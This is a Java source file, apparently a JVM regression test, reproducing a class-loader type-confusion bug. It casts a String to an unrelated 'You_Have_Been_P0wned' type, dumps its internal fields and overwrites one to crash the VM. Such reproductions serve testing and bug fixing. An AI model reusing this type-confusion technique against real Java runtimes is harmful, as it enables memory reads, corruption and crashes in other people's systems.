aoqi@0: 
aoqi@0: import java.lang.reflect.*;
aoqi@0: import java.security.*;
aoqi@0: 
aoqi@0: abstract public class bug_21227 {
aoqi@0: 
aoqi@0:   // Jam anything you want in here, it will be cast to a You_Have_Been_P0wned
aoqi@0:   public static Object _p0wnee;
aoqi@0: 
aoqi@0:   public static void main(String argv[]) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
aoqi@0:     System.out.println("Warmup");
aoqi@0: 
aoqi@0:     // Make a Class 'many_loader' under the default loader
aoqi@0:     bug_21227 bug = new many_loader();
aoqi@0: 
aoqi@0:     // Some classes under a new Loader, LOADER2, including another version of 'many_loader'
aoqi@0:     ClassLoader LOADER2 = new Loader2();
aoqi@0:     Class clazz2 = LOADER2.loadClass("from_loader2");
aoqi@0:     IFace iface = (IFace)clazz2.newInstance();
aoqi@0: 
aoqi@0:     // Set the victim, a String of length 6
aoqi@0:     String s = "victim";
aoqi@0:     _p0wnee = s;
aoqi@0: 
aoqi@0:     // Go cast '_p0wnee' to type You_Have_Been_P0wned
aoqi@0:     many_loader[] x2 = bug.make(iface);
aoqi@0: 
aoqi@0:     many_loader b = x2[0];
aoqi@0: 
aoqi@0:     // Make it clear that the runtime type many_loader (what we get from the
aoqi@0:     // array X2) varies from the static type of many_loader.
aoqi@0:     Class cl1 = b.getClass();
aoqi@0:     ClassLoader ld1 = cl1.getClassLoader();
aoqi@0:     Class cl2 = many_loader.class;
aoqi@0:     ClassLoader ld2 = cl2.getClassLoader();
aoqi@0:     System.out.println("bug.make()  "+ld1+":"+cl1);
aoqi@0:     System.out.println("many_loader "+ld2+":"+cl2);
aoqi@0: 
aoqi@0:     // Read the victims guts out
aoqi@0:     You_Have_Been_P0wned q = b._p0wnee;
aoqi@0:     System.out.println("q._a = 0x"+Integer.toHexString(q._a));
aoqi@0:     System.out.println("q._b = 0x"+Integer.toHexString(q._b));
aoqi@0:     System.out.println("q._c = 0x"+Integer.toHexString(q._c));
aoqi@0:     System.out.println("q._d = 0x"+Integer.toHexString(q._d));
aoqi@0: 
aoqi@0:     System.out.println("I will now crash the VM:");
aoqi@0:     // On 32-bit HotSpot Java6 this sets the victim String length shorter, then crashes the VM
aoqi@0:     //q._c = 3;
aoqi@0:     q._a = -1;
aoqi@0: 
aoqi@0:     System.out.println(s);
aoqi@0: 
aoqi@0:   }
aoqi@0: 
aoqi@0:   // I need to compile (hence call in a loop) a function which returns a value
aoqi@0:   // loaded from classloader other than the system one.  The point of this
aoqi@0:   // call is to give me an abstract 'hook' into a function loaded with a
aoqi@0:   // foreign loader.
aoqi@0:   public abstract many_loader[] make( IFace iface ); // abstract factory
aoqi@0: }
aoqi@0: